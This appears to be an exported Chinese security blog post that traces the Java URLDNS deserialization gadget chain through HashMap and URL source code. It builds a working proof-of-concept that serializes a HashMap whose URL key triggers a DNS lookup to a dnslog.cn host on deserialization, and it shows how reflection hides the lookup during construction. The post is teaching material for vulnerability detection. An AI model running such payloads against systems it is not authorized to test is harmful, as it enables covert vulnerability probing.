{"id":465,"date":"2024-02-12T22:37:44","date_gmt":"2024-02-12T14:37:44","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=465"},"modified":"2024-02-12T23:00:23","modified_gmt":"2024-02-12T15:00:23","slug":"urldns1","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2024\/02\/12\/urldns1\/","title":{"rendered":"Java\u5b89\u5168 URLDNS\u94fe\u5206\u6790"},"content":{"rendered":"<h1>\u4ec0\u4e48\u662fURLDNS\u94fe<\/h1>\n<p>URLDNS\u94fe\u662fJava\u5b89\u5168\u4e2d\u6bd4\u8f83\u7b80\u5355\u7684\u4e00\u6761\u5229\u7528\u94fe\uff0c\u65e0\u9700\u4f7f\u7528\u4efb\u4f55\u7b2c\u4e09\u65b9\u5e93\uff0c\u5168\u4f9d\u9760Java\u5185\u7f6e\u7684\u4e00\u4e9b\u7c7b\u5b9e\u73b0\uff0c\u4f46\u65e0\u6cd5\u8fdb\u884c\u547d\u4ee4\u6267\u884c\uff0c\u53ea\u80fd\u5b9e\u73b0\u5bf9URl\u7684\u8bbf\u95ee\u63a2\u6d4b\uff08\u53d1\u8d77DNS\u8bf7\u6c42\uff09\uff0c\u5e76\u4e14\u4e0d\u9650\u5236Java\u7248\u672c\uff0c\u53ef\u4ee5\u7528\u4e8e\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u7406\u89e3\u597dURLDNS\u94fe\uff0c\u90a3\u4e48\u63a5\u4e0b\u6765\u5bf9CC\u94fe\u7684\u5b66\u4e60\u5c31\u4f1a\u7b80\u5355\u8bb8\u591a<\/p>\n<h1>URLDNS\u94fe\u5206\u6790<\/h1>\n<h2>\u8c03\u7528\u94fe\u8def<\/h2>\n<pre><code class=\"language-Java\">Gadget Chain:\n\n    HashMap.readObject()\n\n             HashMap.putVal()\n\n                     HashMap.hash()\n\n                             URL.hashCode()\n<\/code><\/pre>\n<h2>HashMap\u7c7b\u5206\u6790<\/h2>\n<p>\u6211\u4eec\u6765\u5230 <code>HashMap.java<\/code>\u6587\u4ef6\uff0c\u67e5\u770b<code>HashMap\u7c7b<\/code>\u7684<code>readObject\u65b9\u6cd5<\/code>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n<pre><code class=\"language-Java\">private void readObject(java.io.ObjectInputStream s)\n    throws IOException, ClassNotFoundException {\n    \/\/ Read in the threshold (ignored), loadfactor, and any hidden stuff\n    s.defaultReadObject();\n    reinitialize();\n    if (loadFactor &lt;= 0 || Float.isNaN(loadFactor))\n        throw new InvalidObjectException(&quot;Illegal load factor: &quot; +\n                                         loadFactor);\n    s.readInt();                \/\/ Read and ignore number of buckets\n    int mappings = s.readInt(); \/\/ Read number of mappings (size)\n    if (mappings &lt; 0)\n        throw new InvalidObjectException(&quot;Illegal mappings count: &quot; +\n                                         mappings);\n    else if (mappings &gt; 0) { \/\/ (if zero, use defaults)\n        \/\/ Size the table using given load factor only if within\n        \/\/ range of 0.25...4.0\n        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);\n        float fc = (float)mappings \/ lf + 1.0f;\n        int cap = ((fc &lt; DEFAULT_INITIAL_CAPACITY) ?\n                   DEFAULT_INITIAL_CAPACITY :\n                   (fc &gt;= MAXIMUM_CAPACITY) ?\n                   MAXIMUM_CAPACITY :\n                   tableSizeFor((int)fc));\n        float ft = (float)cap * lf;\n        threshold = ((cap &lt; MAXIMUM_CAPACITY &amp;&amp; ft &lt; MAXIMUM_CAPACITY) ?\n                     (int)ft : Integer.MAX_VALUE);\n        @SuppressWarnings({&quot;rawtypes&quot;,&quot;unchecked&quot;})\n            Node&lt;K,V&gt;[] tab = (Node&lt;K,V&gt;[])new Node[cap];\n        table = tab;\n\n        \/\/ Read the keys and values, and put the mappings in the HashMap\n        for (int i = 0; i &lt; mappings; i++) {\n            @SuppressWarnings(&quot;unchecked&quot;)\n                K key = (K) s.readObject();\n            @SuppressWarnings(&quot;unchecked&quot;)\n                V value = (V) s.readObject();\n            putVal(hash(key), key, value, false, false);\n        }\n    }\n}<\/code><\/pre>\n<p>\u6211\u4eec\u770b\u4e0b\u8be5\u65b9\u6cd5\u7684\u6700\u540e\u4e00\u884c\u4ee3\u7801<\/p>\n<pre><code class=\"language-Java\">putVal(hash(key), key, value, false, false);<\/code><\/pre>\n<p>\u53d1\u73b0\u8c03\u7528\u4e86\u5bf9 <code>key\u53d8\u91cf<\/code> \u8c03\u7528\u4e86\u8be5\u7c7b\u91cc\u91cc\u9762\u7684<code>hash\u51fd\u6570<\/code>\uff0c\u7136\u540e\u6211\u4eec\u5206\u6790\u4e0bkey\u53c2\u6570\u662f\u600e\u4e48\u83b7\u5f97\u7684<\/p>\n<p>\u901a\u8fc7\u4ee5\u4e0b\u4ee3\u7801\u53ef\u4ee5\u770b\u51fa\u5b9a\u4e49\u4e86\u4e00\u4e2a<strong>K\u7c7b\u578b<\/strong>\u7684key\u53d8\u91cf\uff0c\u7136\u540e\u5bf9\u53cd\u5e8f\u5217\u5316\u7684\u8f93\u5165\u6d41\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u5e76\u628a\u53cd\u5e8f\u5217\u5316\u51fa\u7684<strong>\u952e<\/strong>\u590d\u5236\u7ed9<strong>key\u53d8\u91cf<\/strong><\/p>\n<blockquote>\n<p>K\u7c7b\u578b\u662f\u4ee3\u8868\u952e\u7684\u6cdb\u578b\uff0c\u5176\u5b9a\u4e49\u7684\u6570\u636e\u53ef\u4ee5\u662f\u4efb\u4f55\u7c7b\u578b\uff0c\u4f46\u53ea\u80fd\u4f5c\u4e3amap\u4e2d\u7684\u952e<\/p>\n<\/blockquote>\n<pre><code class=\"language-Java\">K key = (K) s.readObject();<\/code><\/pre>\n<p>\u6211\u4eec\u518d\u770b\u4e0b hash \u51fd\u6570\u662f\u5982\u4f55\u5bf9key\u5904\u7406\u7684\uff0c\u6211\u4eec\u5728HashMap\u7c7b\u4e2d\u627e\u5230hash\u51fd\u6570\u4ee3\u7801\u5982\u4e0b<\/p>\n<pre><code class=\"language-Java\">    static final int hash(Object key) {\n        int h;\n        return (key == null) ? 0 : (h = key.hashCode()) ^ (h &gt;&gt;&gt; 16);\n    }<\/code><\/pre>\n<p>\u7ecf\u5206\u6790\uff0c\u53ea\u8981\u6211\u4eec\u7684key\u5bf9\u8c61\uff0c\u4e5f\u5c31\u662f\u4f20\u5165map\u7684\u952e\u4e0d\u4e3a\u7a7a\uff0c\u5c31\u4f1a\u6267\u884c<code>h = key.hashCode()<\/code>\uff0c\u4e5f\u5c31\u662f\u6267\u884c<strong>key\u5bf9\u8c61\u91cc\u7684<\/strong><code>hashCode()\u65b9\u6cd5<\/code><\/p>\n<h2>URL\u7c7b\u5206\u6790<\/h2>\n<p>\u8fd9\u91cc\u63a5\u4e0a\u6587\uff0c\u5047\u8bbe\u6211\u4eec\u4f20\u5165<strong>map\u4e2d\u7684key\u4e3aURL\u5bf9\u8c61<\/strong>\uff0c\u90a3\u4e48\u4fbf\u8c03\u7528<strong>URL\u7c7b\u4e2d\u7684hashCode()\u65b9\u6cd5<\/strong>\uff0c\u6211\u4eec\u770b\u4e0b\u8fd9\u4e2a\u65b9\u6cd5\u7684\u4ee3\u7801<\/p>\n<pre><code class=\"language-Java\">    public synchronized int hashCode() {\n        if (hashCode != -1)\n            return hashCode;\n\n        hashCode = handler.hashCode(this);\n        return hashCode;\n    }<\/code><\/pre>\n<p>\u8fd9\u91cc\u770b\u5230\uff0c\u53ea\u8981 <code>hashCode = -1<\/code>\u7684\u8bdd\uff0c\u90a3\u4e48\u4fbf\u4f1a\u6267\u884c<code>handler.hashCode(this);<\/code>\uff0c\u6211\u4eec\u53bb\u770b\u4e0b <code>hashcode \u5c5e\u6027<\/code>\u662f\u600e\u4e48\u5b9a\u4e49\u7684<\/p>\n<pre><code class=\"language-Java\">private int hashCode = -1;<\/code><\/pre>\n<p>\u6211\u4eec\u53d1\u73b0 <code>hashcode<\/code> \u7684<strong>\u521d\u59cb\u503c<\/strong>\u4e3a -1\uff0c\u4e5f\u5c31\u662f\u9ed8\u8ba4\u6267\u884c<code>handler.hashCode(this);<\/code>\uff0c\u6211\u4eec\u518d\u53bb\u770b\u770b handler \u662f\u600e\u4e48\u5b9a\u4e49\u7684\uff0c\u4ee3\u8868\u4e86\u4ec0\u4e48\uff0c\u901a\u8fc7\u4e0b\u9762\u53ef\u5f97\uff1a<strong>handler\u5c5e\u6027\u4ee3\u8868\u4e86URLStreamHandler\u7c7b\u7684\u4e34\u65f6\u5bf9\u8c61<\/strong><\/p>\n<pre><code class=\"language-Java\">transient URLStreamHandler handler;\n\/\/\u8fd9\u4e2aURL\u4f20\u8f93\u5b9e\u73b0\u7c7b\u662f\u4e00\u4e2atransient\u4e34\u65f6\u7c7b\u578b\uff0c\u4e0d\u4f1a\u88ab\u53cd\u5e8f\u5217\u5316<\/code><\/pre>\n<p>\u7ecf\u5206\u6790\uff0c\u4e5f\u5c31\u662f\u628a\u8fd9\u4e00\u6574\u4e2aURL\u5bf9\u8c61\u4f5c\u4e3a\u53c2\u6570\uff0c\u4f20\u5165\u4e86<strong>URLStreamHandler\u7c7b\u7684hashCode\u65b9\u6cd5<\/strong><\/p>\n<blockquote>\n<p>this\u4ee3\u8868\u7684\u662f\u5f53\u524d\u5bf9\u8c61\u7684\u6307\u9488\uff0c\u4e5f\u53ef\u4ee5\u7528 this.name \u7684\u65b9\u5f0f\u8c03\u7528\u5f53\u524d\u5bf9\u8c61\u4e2d\u7684\u6210\u5458<\/p>\n<\/blockquote>\n<p>\u90a3\u6211\u4eec\u53bb<code>URLStreamHandler\u7c7b<\/code>\u5f53\u4e2d\uff0c\u67e5\u770b\u4e0b<code>hashCode\u65b9\u6cd5<\/code>\u7684\u4ee3\u7801<\/p>\n<pre><code class=\"language-Java\">protected int hashCode(URL u) {\n        int h = 0;\n\n        \/\/ Generate the protocol part.\n        String protocol = u.getProtocol();\n        if (protocol != null)\n            h += protocol.hashCode();\n\n        \/\/ Generate the host part.\n        InetAddress addr = getHostAddress(u);\n        if (addr != null) {\n            h += addr.hashCode();\n        } else {\n            String host = u.getHost();\n            if (host != null)\n                h += host.toLowerCase().hashCode();\n        }\n\n        \/\/ Generate the file part.\n        String file = u.getFile();\n        if (file != null)\n            h += file.hashCode();\n\n        \/\/ Generate the port part.\n        if (u.getPort() == -1)\n            h += getDefaultPort();\n        else\n            h += u.getPort();\n\n        \/\/ Generate the ref part.\n        String ref = u.getRef();\n        if (ref != null)\n            h += ref.hashCode();\n\n        return h;\n    }<\/code><\/pre>\n<p>\u6211\u4eec\u770b\u5230 <code>hashcode \u65b9\u6cd5<\/code>\u63a5\u6536\u4e00\u4e2aURL\u7c7b\u578b\u7684\u53c2\u6570\uff0c\u7136\u540e\u5bf9\u63a5\u6536\u7684 URL\u5bf9\u8c61\uff0c\u4e5f\u5c31\u662f\u524d\u9762\u7684key\u6267\u884c<code>InetAddress addr = getHostAddress(u);<\/code>\uff0c<strong>\u5e76\u4f1a\u628a\u6c42\u51fa\u7684 hash\u503c \u8fd4\u56de\u7ed9 URL\u5bf9\u8c61\u4e2d\u7684hashCode\u5c5e\u6027<\/strong>\uff08\u8fd9\u91cc\u8bb0\u4f4f\uff0c\u4e0b\u9762\u6709\u7528\u5230\uff09<\/p>\n<blockquote>\n<p>getHostAddress\u51fd\u6570\u4f1a\u5bf9URL\u5bf9\u8c61\u4ee3\u8868\u7684\u94fe\u63a5\u8fdb\u884cDNS\u89e3\u6790\uff0c\u83b7\u53d6\u5176ip\u5730\u5740\uff0c\u6211\u4eec\u4f7f\u7528 DNSLog \u5e73\u53f0\u53ef\u4ee5\u68c0\u6d4b\u5230\u8be5\u51fd\u6570\u7684\u8bbf\u95ee<\/p>\n<\/blockquote>\n<h1>exp\u7f16\u5199<\/h1>\n<h2>\u601d\u8def\u6574\u7406<\/h2>\n<p>\u6839\u636e\u4e0a\u9762\u7684\u94fe\u8def\u5206\u6790\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u521b\u5efa\u4e00\u4e2a\u6307\u5411<strong>DNSLog\u5e73\u53f0\u94fe\u63a5<\/strong>\u7684<strong>URL\u5bf9\u8c61<\/strong>\uff0c\u7136\u540e\u4f5c\u4e3a<strong>\u952e<\/strong>\u4f20\u5165<strong>HashMap\u6570\u7ec4<\/strong>\uff0c\u6700\u540e\u5c06\u8be5\u6570\u7ec4\u8fdb\u884c\u5e8f\u5217\u5316\uff0c\u7136\u540e\u53cd\u5e8f\u5217\u5316<strong>\u8c03\u7528\u5176readObject\u65b9\u6cd5<\/strong>\uff0c\u5c06<strong>URL\u5bf9\u8c61<\/strong>\u8d4b\u503c\u7ed9<strong>key<\/strong>\uff0c\u7136\u540e\u4f7f\u7528<strong>hash\u65b9\u6cd5\u5904\u7406URL\u5bf9\u8c61<\/strong>\uff0c\u518d<strong>\u8c03\u7528URL\u5bf9\u8c61\u7684hashcode\u65b9\u6cd5<\/strong>\uff0c\u7136\u540e\u4ee5<strong>URL\u5bf9\u8c61\u4e3a\u53c2\u6570<\/strong>\uff0c\u4f20\u5165<strong>URLStreamHandler\u7c7b\u7684hashCode\u65b9\u6cd5<\/strong>\uff0c\u5bf9<strong>URL\u5bf9\u8c61<\/strong>\u6307\u5411\u7684\u94fe\u63a5\u8fdb\u884c<strong>\u8bbf\u95ee<\/strong><\/p>\n<h2>\u521d\u6b65exp<\/h2>\n<p>\u73b0\u5728\u7684exp\u5927\u4f53\u5982\u4e0b<\/p>\n<pre><code class=\"language-Java\">import java.io.*;\nimport java.lang.reflect.Field;\nimport java.net.URL;\nimport java.util.HashMap;\n\npublic class URLDNS {\n    public static void main(String[] args) throws Exception {\n        HashMap map = new HashMap();\n        URL url = new URL(&quot;http:\/\/j0obud.dnslog.cn\/&quot;);\/\/\u8fd9\u91cc\u66ff\u6362\u4e3aDNSLog\u5e73\u53f0\u5206\u914d\u7684\u5730\u5740\n        map.put(url,&quot;114&quot;);\/\/\u952e\u503c\u7528\u4e0d\u5230\uff0c\u968f\u4fbf\u8bbe\u7f6e\n        try {\n            FileOutputStream outputStream = new FileOutputStream(&quot;.\/2.ser&quot;);\n            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);\n            outputStream1.writeObject(map);\n            outputStream.close();\n            outputStream1.close();\n            FileInputStream inputStream = new FileInputStream(&quot;.\/2.ser&quot;);\n            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);\n            objectInputStream.readObject();\n            objectInputStream.close();\n            inputStream.close();\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n<p>\u6211\u4eec\u5728\u7b2c13\u884c\u6253\u4e2a\u65ad\u70b9\uff0c\u4e5f\u5c31\u662f<code>try<\/code>\u7684\u8fd9\u4e00\u884c<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/12\/Q388QgWx.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/12\/Q388QgWx.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240212212811603\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7136\u540e\u8fd0\u884c\u4ee3\u7801\uff0c\u53d1\u73b0\u672a\u7ecf\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316\u4ecd\u7136\u80fd\u5bf9url\u8fdb\u884cDNS\u89e3\u6790<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/12\/E10gCY6o.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/12\/E10gCY6o.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240212212811603\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6b63\u662f\u4e0b\u9762\u8fd9\u4e00\u884c\u4ee3\u7801\u5bfc\u81f4\u4e86url\u7684\u63d0\u524d\u89e3\u6790<\/p>\n<pre><code class=\"language-Java\">map.put(url,&quot;114&quot;);\/\/\u952e\u503c\u7528\u4e0d\u5230\uff0c\u968f\u4fbf\u8bbe\u7f6e<\/code><\/pre>\n<p>\u6211\u4eec\u53bb\u770b\u4e0b<strong>map(HashMap\u7c7b)\u7684put\u65b9\u6cd5<\/strong>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n<pre><code class=\"language-Java\">    public V put(K key, V value) {\n        return putVal(hash(key), key, value, false, true);\n    }<\/code><\/pre>\n<p>\u6211\u4eec\u53d1\u73b0\uff0c\u8fd9\u4e2a<code>put\u65b9\u6cd5<\/code>\u548c<code>readObject\u65b9\u6cd5<\/code>\u89e6\u53d1\u7684<strong>\u8bed\u53e5\u5b8c\u5168\u4e00\u6837<\/strong>\uff0c\u540c\u6837\u4f1a\u5bf9URL\u5bf9\u8c61\u6267\u884cHashMap\u7c7b\u4e2d\u7684hash\u65b9\u6cd5\uff0c\u7136\u540e\u5c31\u548c\u4e0a\u6587\u6240\u8ff0\u7684\u8fc7\u7a0b\u76f8\u540c\uff0c\u6700\u603b\u5230\u8fbehashCode\u65b9\u6cd5\uff0c\u5bf9URL\u5bf9\u8c61\u89e3\u6790<\/p>\n<pre><code class=\"language-Java\">return putVal(hash(key), key, value, false, true);<\/code><\/pre>\n<p>\u4e0b\u9762\u662f\u8fd9\u4e24\u4e2a\u65b9\u6cd5\u7684\u8bed\u53e5\u5bf9\u6bd4\u53ef\u4ee5\u770b\u5230\u662f\u4e00\u6a21\u4e00\u6837\u7684<\/p>\n<p><strong>put\u65b9\u6cd5\uff1a<\/strong><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/12\/aQA51H4n.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/12\/aQA51H4n.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240212213743511\" style=\"zoom: 67%;\" \/><\/div><\/p>\n<p><strong>readObject\u65b9\u6cd5\uff1a<\/strong><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/12\/h0qrn3XT.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/12\/h0qrn3XT.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240212213743511\" style=\"zoom: 67%;\" \/><\/div><\/p>\n<p><strong>\u9700\u8981\u6ce8\u610f\u7684\u662f\u5047\u5982\u63d0\u524d\u89e6\u53d1\u7684\u8bdd\uff0c\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u4fbf\u4e0d\u4f1a\u518d\u8fdb\u884cDNS\u89e3\u6790<\/strong><\/p>\n<p>\u6211\u4eec\u518d\u6b21\u56de\u5230URL\u7c7b\u4e2d\u7684hashCode\u65b9\u6cd5\uff0c\u5e76\u770b\u4e00\u4e0b\u5176hashCode\u5c5e\u6027\u7684\u5b9a\u4e49<\/p>\n<pre><code class=\"language-Java\">private int hashCode = -1;\npublic synchronized int hashCode() {\n        if (hashCode != -1)\n            return hashCode;\n\n        hashCode = handler.hashCode(this);\n        return hashCode;\n    }<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u53ea\u6709\u5f53 <code>hashCode = -1<\/code>\u65f6\uff0c\u624d\u4f1a\u6267\u884c<code>hashCode = handler.hashCode(this);<\/code>\uff0c\u4ece\u800c\u5230\u4e0b\u4e00\u6b65DNS\u89e3\u6790\uff0c\u7136\u540e hashCode\u5c5e\u6027\u88ab\u8d4b\u503c\u4e3a\u8fd9\u4e2aURL\u89e3\u6790\u7684\u54c8\u5e0c\u503c\uff0c\u4ece\u800c\u4e3a\u4e00\u4e2a\u5f88\u957f\u7684\u6b63\u6570\uff0c\u4ece\u800c\u4e0d\u4e3a -1,\u7136\u540e\u5e8f\u5217\u5316\u7684\u65f6\u5019\u8fd9\u4e2a<code>hashCode\u5c5e\u6027<\/code>\u503c\u4fdd\u6301\u4e0d\u53d8\uff0c\u5f53\u53cd\u5e8f\u5217\u5316\u5230hashCode\u65b9\u6cd5\u65f6\uff0c\u4ee5\u4e3a <code>hashCode != -1<\/code> \u76f4\u63a5\u8fdb\u5165<code>if<\/code>\uff0c\u6267\u884c<code>return hashCode;<\/code>\uff0c\u6700\u7ec8\u5230\u8fd9\u91cc\u5c31\u65ad\u6389\u4e86\uff0c\u65e0\u6cd5\u89e6\u53d1DNS\u89e3\u6790<\/p>\n<h2>exp\u6539\u8fdb<\/h2>\n<p>\u90a3\u600e\u4e48\u529e\u5462\uff1f<\/p>\n<p>\u6211\u4eec\u53ef\u4ee5\u5148\u5728put\u65f6\uff0c\u5c06 hashCode \u503c\u901a\u8fc7\u53cd\u5c04\u4fee\u6539\u4e3a\u4efb\u610f\u4e00\u4e2a\u4e0d\u4e3a -1 \u7684\u6570\u5b57\uff0c\u4ece\u800c\u4e0d\u4f1a\u63d0\u524d\u89e6\u53d1DNS\u89e3\u6790\uff0c\u7136\u540e\u5728put\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u518d\u901a\u8fc7\u53cd\u5c04\u5c06 hashCode\u503c\u8bbe\u4e3a -1\uff0c\u793a\u4f8b\u5982\u4e0b<\/p>\n<pre><code class=\"language-Java\">field.set(url,123); \/\/\u5c06url\u7684hashcode\u5c5e\u6027\u6539\u4e3a123\u4f7f\u5176\u4e0d\u7b49\u4e8e-1\nmap.put(url,&quot;2333&quot;); \/\/\u8fd9\u91cc\u7684value\u7528\u4e0d\u4e0a\uff0c\u968f\u4fbf\u8bbe\u7f6e\nfield.set(url,-1);\/\/put\u5b8c\u4e4b\u540e\uff0c\u6211\u4eec\u5c31\u9700\u8981\u5c06hashcode\u5c5e\u6027\u6539\u56de\u6210-1\uff0c\u4ece\u800c\u80fd\u6267\u884chandler.hashCode(this);<\/code><\/pre>\n<blockquote>\n<p>\u901a\u8fc7\u53cd\u5c04\u6211\u4eec\u53ef\u4ee5\u52a8\u6001\u4fee\u6539\u4e00\u4e2a\u5bf9\u8c61\u4e2d\u7684\u5c5e\u6027\u548c\u65b9\u6cd5<\/p>\n<\/blockquote>\n<h2>\u6700\u7ec8exp<\/h2>\n<pre><code class=\"language-Java\">package org.example;\nimport java.io.*;\nimport java.lang.reflect.Field;\nimport java.net.URL;\nimport java.util.HashMap;\npublic class URLDNS {\n    public static void main(String[] args) throws Exception {\n        HashMap map = new HashMap();\n        URL url = new URL(&quot;http:\/\/mm4dhq.dnslog.cn\/&quot;);\/\/\u8fd9\u91cc\u66ff\u6362\u4e3aDNSLog\u5e73\u53f0\u5206\u914d\u7684\u5730\u5740\n        Class clas = url.getClass();\n        Field field = clas.getDeclaredField(&quot;hashCode&quot;);\n        field.setAccessible(true);\n        field.set(url,123); \/\/\u5c06url\u7684hashcode\u5c5e\u6027\u6539\u4e3a123\u4f7f\u5176\u4e0d\u7b49\u4e8e-1\n        map.put(url,&quot;2333&quot;); \/\/\u8fd9\u91cc\u7684value\u7528\u4e0d\u4e0a\uff0c\u968f\u4fbf\u8bbe\u7f6e\n        field.set(url,-1);\/\/put\u5b8c\u4e4b\u540e\uff0c\u6211\u4eec\u5c31\u9700\u8981\u5c06hashcode\u5c5e\u6027\u6539\u56de\u6210-1\uff0c\u4ece\u800c\u80fd\u6267\u884chandler.hashcode\n        try {\n            \/\/\u5e8f\u5217\u5316\n            FileOutputStream outputStream = new FileOutputStream(&quot;.\/2.ser&quot;);\n            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);\n            outputStream1.writeObject(map);\n            outputStream.close();\n            outputStream1.close();\n            \/\/\u53cd\u5e8f\u5217\u5316\uff0c\u6b64\u65f6\u89e6\u53d1dns\u8bf7\u6c42\n            FileInputStream inputStream = new FileInputStream(&quot;.\/2.ser&quot;);\n            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);\n            objectInputStream.readObject();\n            objectInputStream.close();\n            inputStream.close();\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n<p>\u6211\u4eec\u518d\u6b21\u5728put\u8bed\u53e5\u4e0b\u9762\u6253\u65ad\u70b9\uff0c\u89c2\u5bdf\u662f\u5426\u8fd8\u4f1a\u63d0\u524d\u89e6\u53d1\uff0c\u53ef\u4ee5\u770b\u5230DNSLog\u5e73\u53f0\u6ca1\u6709\u8bb0\u5f55\uff0c\u4ee3\u8868put\u65f6\u7531\u4e8ehashCode\u503c\u4e0d\u4e3a -1 \uff0c\u6ca1\u6709\u6267\u884c<code>handler.hashCode(this)<\/code><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/12\/uMYWRtJw.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/12\/uMYWRtJw.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240212213743511\" style=\"zoom: 67%;\" \/><\/div><\/p>\n<p>\u6211\u4eec\u5728\u65ad\u70b9\u5904\u7ee7\u7eed\u6267\u884c\uff0c\u53ef\u4ee5\u770b\u5230\u53cd\u5e8f\u5217\u5316\u6210\u529f\u89e6\u53d1\u4e86DNS\u89e3\u6790<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/12\/0MXXqDqI.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/12\/0MXXqDqI.png\" 